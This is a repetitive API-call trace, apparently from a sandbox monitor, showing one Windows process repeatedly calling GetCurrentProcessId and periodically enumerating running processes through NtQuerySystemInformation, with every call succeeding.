GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.852] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0228.853] GetCurrentProcessId () returned 0x10c0 [0229.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.521] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.522] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.523] GetCurrentProcessId () returned 0x10c0 [0229.524] GetCurrentProcessId () returned 0x10c0 [0229.524] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.525] GetCurrentProcessId () returned 0x10c0 [0229.526] GetCurrentProcessId () returned 0x10c0 [0229.526] GetCurrentProcessId () returned 0x10c0 [0229.526] GetCurrentProcessId () returned 0x10c0 [0229.526] GetCurrentProcessId () returned 0x10c0 [0229.526] GetCurrentProcessId () returned 0x10c0 [0229.526] GetCurrentProcessId () returned 0x10c0 [0229.526] GetCurrentProcessId () returned 0x10c0 [0229.526] GetCurrentProcessId () returned 0x10c0 [0229.526] GetCurrentProcessId () returned 0x10c0 [0229.526] GetCurrentProcessId () returned 0x10c0 [0229.526] GetCurrentProcessId () returned 0x10c0 [0230.079] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0230.088] GetCurrentProcessId () returned 0x10c0 [0230.088] GetCurrentProcessId () returned 0x10c0 [0230.088] GetCurrentProcessId () returned 0x10c0 [0230.088] GetCurrentProcessId () returned 0x10c0 [0230.088] GetCurrentProcessId () returned 0x10c0 [0230.088] GetCurrentProcessId () returned 0x10c0 [0230.088] GetCurrentProcessId () returned 0x10c0 [0230.088] GetCurrentProcessId () returned 0x10c0 [0230.088] GetCurrentProcessId () returned 0x10c0 [0230.088] GetCurrentProcessId () returned 0x10c0 [0230.088] GetCurrentProcessId () returned 0x10c0 [0230.088] GetCurrentProcessId () returned 0x10c0 [0230.088] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.089] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.090] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.091] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.092] GetCurrentProcessId () returned 0x10c0 [0230.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.713] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.714] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.715] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.716] GetCurrentProcessId () returned 0x10c0 [0230.717] GetCurrentProcessId () returned 0x10c0 [0230.717] GetCurrentProcessId () returned 0x10c0 [0230.717] GetCurrentProcessId () returned 0x10c0 [0230.717] GetCurrentProcessId () returned 0x10c0 [0230.717] GetCurrentProcessId () returned 0x10c0 [0230.717] GetCurrentProcessId () returned 0x10c0 [0230.717] GetCurrentProcessId () returned 0x10c0 [0230.717] GetCurrentProcessId () returned 0x10c0 [0230.717] GetCurrentProcessId () returned 0x10c0 [0230.717] GetCurrentProcessId () returned 0x10c0 [0230.717] GetCurrentProcessId () returned 0x10c0 [0230.717] GetCurrentProcessId () returned 0x10c0 [0230.717] GetCurrentProcessId () returned 0x10c0 [0230.717] GetCurrentProcessId () returned 0x10c0 [0230.717] GetCurrentProcessId () returned 0x10c0 [0230.718] GetCurrentProcessId () returned 0x10c0 [0230.718] GetCurrentProcessId () returned 0x10c0 [0230.718] GetCurrentProcessId () returned 0x10c0 [0230.718] GetCurrentProcessId () returned 0x10c0 [0231.315] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.325] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.326] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.327] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0231.328] GetCurrentProcessId () returned 0x10c0 [0232.097] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.192] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 [0232.193] GetCurrentProcessId () returned 0x10c0 